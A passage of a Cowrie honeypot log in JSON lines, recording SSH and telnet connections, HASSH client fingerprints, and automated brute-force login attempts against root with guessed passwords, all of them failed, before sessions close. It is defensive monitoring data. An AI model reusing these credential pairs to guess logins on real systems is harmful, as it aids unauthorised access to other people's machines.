16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:23:41.406381Z","src_ip":"51.250.105.222","session":"90dcbebcf8ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:23:41.796257Z","src_ip":"51.250.105.222","session":"90dcbebcf8ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:23:42.928434Z","src_ip":"51.250.105.222","session":"90dcbebcf8ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.742389917373657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:23:51.095894Z","src_ip":"132.148.22.172","session":"c2320fb863d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.62683582305908,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:24:21.153370Z","src_ip":"172.81.62.90","session":"50481ce6d73a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":46050,"dst_ip":"10.17.0.5","dst_port":22,"session":"84924d9e10f4","protocol":"ssh","message":"New connection: 103.27.238.120:46050 (10.17.0.5:22) [session: 84924d9e10f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:13.752270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:13.756394Z","src_ip":"103.27.238.120","session":"84924d9e10f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:14.033646Z","src_ip":"103.27.238.120","session":"84924d9e10f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"katastrofa","message":"login attempt [root/katastrofa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:14.853952Z","src_ip":"103.27.238.120","session":"84924d9e10f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:16.129962Z","src_ip":"103.27.238.120","session":"84924d9e10f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":35050,"dst_ip":"10.17.0.5","dst_port":22,"session":"b99690bc1e05","protocol":"ssh","message":"New connection: 27.71.230.31:35050 (10.17.0.5:22) [session: b99690bc1e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:22.443553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:22.480641Z","src_ip":"27.71.230.31","session":"b99690bc1e05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:22.699293Z","src_ip":"27.71.230.31","session":"b99690bc1e05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin111","message":"login attempt [root/admin111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:24.626057Z","src_ip":"27.71.230.31","session":"b99690bc1e05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:27.404611Z","src_ip":"27.71.230.31","session":"b99690bc1e05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":57052,"dst_ip":"10.17.0.5","dst_port":22,"session":"584158ceef30","protocol":"ssh","message":"New connection: 80.66.85.226:57052 (10.17.0.5:22) [session: 584158ceef30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:36.961380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:36.965350Z","src_ip":"80.66.85.226","session":"584158ceef30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:37.048470Z","src_ip":"80.66.85.226","session":"584158ceef30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345665","message":"login attempt [root/12345665] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:37.302575Z","src_ip":"80.66.85.226","session":"584158ceef30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:38.392735Z","src_ip":"80.66.85.226","session":"584158ceef30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":42302,"dst_ip":"10.17.0.5","dst_port":22,"session":"f62cf9217259","protocol":"ssh","message":"New connection: 80.94.92.184:42302 (10.17.0.5:22) [session: f62cf9217259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:43.117548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:43.166715Z","src_ip":"80.94.92.184","session":"f62cf9217259","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:43.284619Z","src_ip":"80.94.92.184","session":"f62cf9217259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567","message":"login attempt [solv/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:45.878746Z","src_ip":"80.94.92.184","session":"f62cf9217259","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:26:47.895349Z","src_ip":"80.94.92.184","session":"f62cf9217259","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":57520,"dst_ip":"159.203.135.109","dst_port":22,"session":"36ed03458dff","protocol":"ssh","message":"New connection: 89.223.69.22:57520 (159.203.135.109:22) [session: 36ed03458dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:27:00.611004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:27:00.615334Z","src_ip":"89.223.69.22","session":"36ed03458dff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:27:00.732369Z","src_ip":"89.223.69.22","session":"36ed03458dff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dewalt","message":"login attempt [root/dewalt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:27:01.084298Z","src_ip":"89.223.69.22","session":"36ed03458dff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:27:02.207242Z","src_ip":"89.223.69.22","session":"36ed03458dff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":37630,"dst_ip":"159.203.135.109","dst_port":22,"session":"5af9e5ac0a69","protocol":"ssh","message":"New connection: 27.71.230.31:37630 (159.203.135.109:22) [session: 5af9e5ac0a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:27:39.079551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:27:39.151399Z","src_ip":"27.71.230.31","session":"5af9e5ac0a69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:27:39.500785Z","src_ip":"27.71.230.31","session":"5af9e5ac0a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin111","message":"login attempt [root/admin111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:27:47.287557Z","src_ip":"27.71.230.31","session":"5af9e5ac0a69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:27:49.239257Z","src_ip":"27.71.230.31","session":"5af9e5ac0a69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":57346,"dst_ip":"10.17.0.5","dst_port":22,"session":"66eab2c6187b","protocol":"ssh","message":"New connection: 103.149.28.157:57346 (10.17.0.5:22) [session: 66eab2c6187b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:27:57.349295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:27:57.352565Z","src_ip":"103.149.28.157","session":"66eab2c6187b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:27:57.609904Z","src_ip":"103.149.28.157","session":"66eab2c6187b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10091983","message":"login attempt [root/10091983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:27:58.384579Z","src_ip":"103.149.28.157","session":"66eab2c6187b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:27:59.648221Z","src_ip":"103.149.28.157","session":"66eab2c6187b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":38558,"dst_ip":"159.203.135.109","dst_port":22,"session":"50002a06042a","protocol":"ssh","message":"New connection: 103.82.132.16:38558 (159.203.135.109:22) [session: 50002a06042a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:01.556975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:01.561634Z","src_ip":"103.82.132.16","session":"50002a06042a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:01.814087Z","src_ip":"103.82.132.16","session":"50002a06042a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20101993","message":"login attempt [root/20101993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:02.565534Z","src_ip":"103.82.132.16","session":"50002a06042a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:28:03.817475Z","src_ip":"103.82.132.16","session":"50002a06042a","protocol":"ssh"}
